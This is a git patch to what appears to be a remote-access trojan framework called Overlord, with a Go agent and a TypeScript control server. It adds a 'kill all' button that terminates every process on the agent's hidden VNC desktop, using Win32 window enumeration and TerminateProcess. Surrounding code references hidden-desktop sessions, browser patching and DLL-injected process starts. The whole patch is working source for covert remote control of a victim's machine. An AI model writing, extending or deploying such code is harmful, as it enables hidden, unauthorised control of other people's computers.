From b51c187c20113753b16eb8b10f15faa10756c2e9 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Fri, 24 Apr 2026 09:53:28 -0500 Subject: [PATCH] kill all process in hvnc button --- .../cmd/agent/capture/hvnc_stub.go | 4 +++ .../cmd/agent/capture/hvnc_windows.go | 35 +++++++++++++++++++ Overlord-Client/cmd/agent/handlers/command.go | 10 ++++++ Overlord-Server/public/assets/hvnc.js | 6 ++++ Overlord-Server/public/hvnc.html | 3 ++ .../src/server/ws-console-rd-hvnc.ts | 3 ++ 6 files changed, 61 insertions(+) diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go index 92b5f72..332e78d 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go @@ -58,3 +58,7 @@ func HVNCInputMouseWheel(delta int32) error { func HVNCAutoStartExplorer() error { return errors.New("HVNC not supported on this platform") } + +func HVNCKillAll() error { + return errors.New("HVNC not supported on this platform") +} diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 2cc810a..9d6de35 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -47,6 +47,8 @@ var ( procToUnicode = user32.NewProc("ToUnicode") procGetWindowPlacement = user32.NewProc("GetWindowPlacement") procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId") + procEnumDesktopWindows = user32.NewProc("EnumDesktopWindows") + procTerminateProcess = kernel32.NewProc("TerminateProcess") ) const ( @@ -561,6 +563,39 @@ func StartHVNCProcess(filePath string, operaPatch bool) error { return nil } +func HVNCKillAll() error { + hvncDesktopMu.Lock() + deskHandle := hvncDesktopHandle + hvncDesktopMu.Unlock() + if deskHandle == 0 { + return fmt.Errorf("HVNC desktop not initialized") + } + + pids := make(map[uint32]struct{}) + cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr { + var pid uint32 + procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid))) + if pid != 0 { + pids[pid] = struct{}{} + } + return 1 // continue enumeration + }) + procEnumDesktopWindows.Call(deskHandle, cb, 0) + + const PROCESS_TERMINATE = 0x0001 + killed := 0 + for pid := range pids { + hProc, _, _ := procOpenProcess.Call(PROCESS_TERMINATE, 0, uintptr(pid)) + if hProc != 0 { + procTerminateProcess.Call(hProc, 1) + kernel32.NewProc("CloseHandle").Call(hProc) + killed++ + } + } + log.Printf("hvnc: kill all: terminated %d processes across %d pids", killed, len(pids)) + return nil +} + func HVNCAutoStartExplorer() error { if hvncExplorerStarted { return nil diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 2de241d..c25e5e7 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1493,6 +1493,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) return nil + case "hvnc_kill_all": + log.Printf("hvnc: kill all processes on hidden desktop") + sendCommandResultSafe(env, cmdID, true, "") + goSafe("hvnc_kill_all", nil, func() { + if err := capture.HVNCKillAll(); err != nil { + log.Printf("hvnc: kill all failed: %v", err) + } + }) + return nil + case "hvnc_browser_check": log.Printf("hvnc: browser availability check requested") sendCommandResultSafe(env, cmdID, true, "") diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 07eb109..fdb1360 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -55,6 +55,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; const startBtn = document.getElementById("startBtn"); const stopBtn = document.getElementById("stopBtn"); const commandsBtn = document.getElementById("commandsBtn"); + const killAllBtn = document.getElementById("killAllBtn"); const fullscreenBtn = document.getElementById("fullscreenBtn"); const mouseCtrl = document.getElementById("mouseCtrl"); const kbdCtrl = document.getElementById("kbdCtrl"); @@ -593,6 +594,11 @@ import { checkFeatureAccess } from "./feature-gate.js"; setStreamState("stopping", "Stopping stream"); sendCmd("hvnc_stop", {}); }); + if (killAllBtn) { + killAllBtn.addEventListener("click", function () { + sendCmd("hvnc_kill_all", {}); + }); + } fullscreenBtn.addEventListener("click", function () { if (canvasContainer.requestFullscreen) { canvasContainer.requestFullscreen(); diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 2757c17..a4172aa 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -70,6 +70,9 @@ + diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 4372587..d08428f 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -884,6 +884,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st opera_patch: Boolean(payload.opera_patch), }); break; + case "hvnc_kill_all": + sendHVNCCommand(target, "hvnc_kill_all", {}); + break; case "hvnc_start_process_injected": { const dllData = getInjectionDllBytes(); if (!dllData) {